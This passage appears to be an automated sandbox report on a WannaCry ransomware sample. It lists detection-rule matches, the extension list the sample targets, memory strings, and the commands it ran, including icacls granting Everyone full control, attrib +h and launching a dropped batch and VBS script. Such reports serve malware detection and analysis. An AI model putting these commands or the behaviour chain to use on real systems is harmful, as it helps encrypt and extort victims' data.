              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\36751721951490.bat, type: DROPPEDMatched rule: WannCry_BAT date = 2017-05-12, hash1 = f01b7f52e3cb64f01ddc248eb6ae871775ef7cb4297eba5d230d0345af9a5077, author = Florian Roth, description = Detects WannaCry Ransomware BATCH File, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\@WanaDecryptor@.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: C:\Users\user\Desktop\u.wnry, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: C:\Users\user\Desktop\r.wnry, type: DROPPEDMatched rule: WannaCry_RansomNote date = 2017-05-12, hash1 = 4a25d98c121bb3bd5b54e0b6a5348f7b09966bffeec30776e5a731813f05d49e, author = Florian Roth, description = Detects WannaCry Ransomware Note, reference = https://goo.gl/HG2j5T, license = https://creativecommons.org/licenses/by-nc/4.0/
              Source: wBQInv.exe.0.drStatic PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
              Source: wBQInv.exe.0.drStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
              Source: wBQInv.exe.0.drStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1356687526.0000000000915000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000003.1295244076.0000000000908000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: A.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docConnecting to server...s.wnry%08X.eky%08X.res00000000.resrb%08X.dky%08X.pkyConnectedSent requestSucceedReceived responseCongratulations! Your payment has been checked!
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmp, ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, 00000000.00000002.3709965146.00000000008D8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: .der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.edb.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.dotx.dotm.dot.docm.docb.jpg.jpeg.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.eml.msg.ost.pst.pptx.ppt.xlsx.xls.docx.doc%s\%d%s.WNCRYT%s%sTWANACRY!.WNCRY.WNCYR\\@WanaDecryptor@.bmp@WanaDecryptor@.exe.lnk@Please_Read_Me@.txt%s\%s...%s\*.dll.exe~SD@WanaDecryptor@.exeContent.IE5Temporary Internet Files This folder protects against ransomware. Modifying it will reduce protection\Local Settings\Temp\AppData\Local\Temp\Program Files (x86)\Program Files\WINDOWS\ProgramData\Intel$\CloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeBinary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
              Source: classification engineClassification label: mal100.rans.spre.troj.evad.winEXE@808/840@1/1
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_0041119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,2_2_0041119F
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10005540 GetDriveTypeW,InterlockedExchangeAdd,GetDiskFreeSpaceExW,Sleep,GetDiskFreeSpaceExW,Sleep,GetDriveTypeW,GetDriveTypeW,GetDriveTypeW,GetDriveTypeW,InterlockedExchange,GetDriveTypeW,0_2_10005540
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,0_2_00401CE8
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,0_2_00401CE8
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user\Desktop\b.wnryJump to behavior
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6708:120:WilError_03
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeMutant created: \Sessions\1\BaseNamedObjects\MsWinZonesCacheCounterMutexA
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2960:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1432:120:WilError_03
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeMutant created: \Sessions\1\BaseNamedObjects\Global\MsWinZonesCacheCounterMutexA0
              Source: C:\Windows\SysWOW64\WerFault.exeMutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6768
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeFile created: C:\Users\user~1\AppData\Local\Temp\wBQInv.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 36751721951490.bat
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
              Source: C:\Windows\System32\dllhost.exeFile read: C:\Users\desktop.ini
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: C:\Users\user\Desktop\taskdl.exeEvasive API call chain: __getmainargs,DecisionNodes,exitgraph_10-217
              Source: unknownProcess created: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe "C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\AppData\Local\Temp\wBQInv.exe C:\Users\user~1\AppData\Local\Temp\wBQInv.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\System32\dllhost.exe C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .
              Source: C:\Windows\SysWOW64\attrib.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /Q
              Source: C:\Windows\SysWOW64\icacls.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 36751721951490.bat
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6768 -ip 6768
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6768 -s 916
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\AppData\Local\Temp\wBQInv.exe C:\Users\user~1\AppData\Local\Temp\wBQInv.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\attrib.exe attrib +h .Jump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /QJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
